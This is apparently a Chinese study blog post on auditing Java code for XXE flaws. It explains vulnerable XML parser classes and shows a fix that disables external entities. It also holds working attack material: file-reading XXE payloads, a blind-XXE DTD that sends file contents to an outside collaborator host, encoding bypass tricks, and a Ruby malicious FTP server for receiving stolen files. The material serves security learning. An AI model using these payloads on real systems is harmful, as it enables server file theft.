Java代码审计中的XXE 感觉第一次学到xxe这个漏洞时学的不是很好,现在再来深入学习一下
参考:Java OWASP 中的 XXE 代码审计 | Drunkbaby’s Blog (drun1baby.top)
【Java代码审计】XXE_java xxe-CSDN博客
WEB安全&JAVA代码审计:XXE外部实体注入 - FreeBuf网络安全行业门户
代码审计基于此项目:JoyChou93/java-sec-code
XML文档的格式与结构 WEB安全&JAVA代码审计:XXE外部实体注入 - FreeBuf网络安全行业门户
关于DTD:JAVA XXE 从原理到利用-先知社区 (aliyun.com)
判断XXE漏洞存在
观察发送数据包中数据是否是xml格式
搜索处理XML文档相关的类与接口
开始测试,尝试是否能顺利访问DNS平台留下记录
审计中常见的类/接口 xml文件的解析可用到的解析器有四种,对应不同的写法以及解析包
详细比较:Java进阶(五十一)XML 四种解析器(dom,sax,jdom,dom4j)原理及性能比较 java xml解析工具_java jdom-CSDN博客
XMLReader(接口) XMLReader接口是一种通过回调读取XML文档的接口,其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞
SAXBuilder SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用SAXHandler的实例侦听 SAX 事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时,会出现 XXE 漏洞
SAXReader DOM4J是dom4j.org出品的一个开源XML解析包,使用起来非常简单,只要了解基本的XML-DOM模型,就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包,它有DOMReader和SAXReader两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对XML进行过滤时,其也会出现XXE漏洞。
SAXParserFactory SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法,可以强制使用newInstance()。跟上面介绍的一样,在使用默认解析方法且未对XML进行过滤时,其也会出现XXE漏洞。
Digester Digester类用来将XML映射成Java类,以简化XML的处理。它是Apache Commons库中的一个jar包:common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的,我们一般需通过Blind XXE的方法来利用
DocumentBuilderFactory javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象,DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
由上述类与接口的功能与配置写法可知,如果使用默认的写法,一般都是会造成xxe漏洞的
需要使用安全写法或手动过滤
有回显的XXE 最开始我们看到的 XMLReader 代码,以及其他的 xxxReader 代码,都是不回显的,因为它们只是对内容进行了解析,但是并没有对内容进行读取与输出。
因为 XML 也是反序列化的一种,例如平常的 Runtime.getRuntime.exe() 是没有回显的,如果要有回显,必须要写 byte[] code = ... 这样子,把最后的结果读取出来。
DocumentBuilder XXE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST) public String DocumentBuilderVuln (HttpServletRequest request) { try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); InputSource is = new InputSource (request.getInputStream()); Document document = db.parse(is); StringBuilder buf = new StringBuilder (); NodeList rootNodeList = document.getChildNodes(); for (int i = 0 ; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0 ; j < child.getLength(); j++) { Node node = child.item(j); buf.append(String.format("%s: %s\n" , node.getNodeName(), node.getTextContent())); } } return buf.toString(); } catch (Exception e) { e.printStackTrace(); logger.error(e.toString()); return e.toString(); } }
payload
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE Drunkbaby [ <!ENTITY xxe SYSTEM "file:///E:/1.txt" > ]> <root > &xxe; </root >
这里环境搭建出了一些问题,流程分析就不动态调试了,手动追踪一下代码执行流程
在此列出一些比较重要的代码释义
1 public String DocumentBuilderVuln (HttpServletRequest request) {
定义了一个名为 DocumentBuilderVuln 的方法,接收 HttpServletRequest 对象作为参数,返回一个字符串。
1 2 try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
创建一个新的 XML 解析器工厂对象。
DocumnetBuilderFactory 类用 newInstance() 的方式进行实例化。本身抽象类是不可以实例化的,但是 DocumnetBuilderFactory 自己定义了一个 newInstance() 实例化的方法。
1 DocumentBuilder db = dbf.newDocumentBuilder();
从工厂中生成一个 XML 解析器(DocumentBuilder)
1 InputSource is = new InputSource (request.getInputStream());
将 HTTP 请求体作为输入流传入,用于解析 XML 数据,就是读入数据
1 Document document = db.parse(is);
解析 XML 数据,生成一个 DOM 树结构的 Document 对象。开始反序列化操作
最终可以看到调用了toString()方法,返回了拼好的字符串 ,所以这个方法是有回显的,能够用来读取一些文件内容
无回显的XXE 返回包中是看不到字符串回显的
一般使用DNS检测来打无回显
XMLReader,SAXBuilder,SAXReader,SAXParser,Digester 这几个函数都是无回显的 测试xxe漏洞是否存在只需要使用DNS检测即可
payload
1 2 3 4 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE admin [ <!ENTITY xxe SYSTEM "http://zehfrya24b6tjn2oz8w00x6pegk784wt.oastify.com" > ]> <root > &xxe; </root >
漏洞利用(利用dns外带数据)
将一个恶意的DTD放在自己的vps上
evil.dtd
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!ENTITY % file SYSTEM "file:///E:/1.txt" > <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://pg9ydrnt7kzybog1jz9hyjmtuk0aoz.oastify.com/?x=%file;'>" > %eval; %exfil;
它将读取本地文件 E:/1.txt。
然后访问如下 URL:
1 http://pg9ydrnt7kzybog1jz9hyjmtuk0aoz.oastify.com/?x=<文件内容>
文件内容就这样泄露到了攻击者控制的域名。
有时候如果 xxe 当中如果服务端没有正确处理好使用 try catch,那么如果抛出异常 Web 界面通常会显示这个错误,所以我们可以如此攻击。
之前实操的时候是能看到网页回显是有报错的,但是dns平台有记录
发包攻击
1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE admin [ <!ENTITY %remote SYSTEM "http://vps地址/evil.dtd" > %remote; ]> <root > &xxe; </root >
攻击顺利是能看到返回的dns记录中url参数中有x=…(文件内容)
这里环境调试出了一些问题,很遗憾没有看到成功的dns外带数据
XXE漏洞的修复 修复的手段主要就是一种:禁用外部实体 DTD。对于不同的解析器有不同的修复手段。
(外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,禁止外部实体,防止外部恶意文件加载)
关键语句就是这两句:
1 2 3 4 5 6 var xif = XMLInputFactory.newInstance(); xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false ); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false );
绕过手法与trick 编码绕过 utf7
1 2 3 4 5 <?xml version="1.0" encoding="utf-7" ?> +ADwAIQ-DOCTYPE ANY +AFs- +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg- +AF0APg- +ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
Java XML DTD 的 trick 利用 1 2 3 <!ENTITY % evil SYSTEM "file:///" > <!ENTITY % print "<!ENTITY send SYSTEM 'netdoc://%evil;'>" > %print;
解决文件跨行传输—— ftp&jdk1.7+ 看到这部分的时候觉得好厉害,居然还可以这样做
在 XXE 盲注中,通过 http 协议访问我们的服务器会只获取被读取的文件第一行。
在 jdk1.7 以前,可以通过http协议传输具有换行的文件的。因为java会对换行符进行URL编码然后就访问一个地址。
但是1.7之后,就修复了这个问题,会报错。
但是我们仍然可以用ftp服务器来接受换行文件,因为ftp没有进行类似的限制,换行之后的字符会被当做CWD命令输入。
需要起一个恶意的FTP服务器 ,其他按照正常的XXE盲注打。
1 2 3 <!ENTITY % b SYSTEM "file:///etc/passwd" > <!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://127.0.0.1:2121/%b;'>" > %c;
payload
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://vps:8088/" > %asd; %rrr; ]> <a > </a >
启动ftp-server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 require 'socket' ftp_server = TCPServer.new 2121 http_server = TCPServer.new 8088 log = File.open( "xxe-ftp.log" , "a" ) payload = '<!ENTITY % b SYSTEM "file:///tmp/1.txt"> <!ENTITY % c "<!ENTITY % rrr SYSTEM \' ftp: %c;' Thread.start do loop do Thread.start(http_server.accept) do |http_client| puts "HTTP. New client connected" loop { req = http_client.gets() break if req.nil? if req.start_with? "GET" http_client.puts ("HTTP/1.1 200 OK\r\nContent-length: #{payload.length}\r\n\r\n#{payload}" ) end puts req } puts "HTTP. Connection closed" end end end Thread.start do loop do Thread.start(ftp_server.accept) do |ftp_client| puts "FTP. New client connected" ftp_client.puts ("220 xxe-ftp-server" ) loop { req = ftp_client.gets() break if req.nil? puts "< " +req log .write "get req: #{req.inspect}\n" if req.include? "LIST" ftp_client.puts ("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test" ) ftp_client.puts ("150 Opening BINARY mode data connection for /bin/ls" ) ftp_client.puts ("226 Transfer complete." ) elsif req.include? "USER" ftp_client.puts ("331 password please - version check" ) elsif req.include? "PORT" puts "! PORT received" puts "> 200 PORT command ok" ftp_client.puts ("200 PORT command ok" ) else puts "> 230 more data please!" ftp_client.puts ("230 more data please!" ) end } puts "FTP. Connection closed" end end end loop do sleep(10000 ) end
总结
代码审计一般只需要通过打DNS得到访问记录判断此漏洞存在即可
实际利用此漏洞(无回显)需要通过dns外带数据得到敏感信息
http传输一般只会读取文件第一行,可以通过开启恶意ftp服务读取换行文件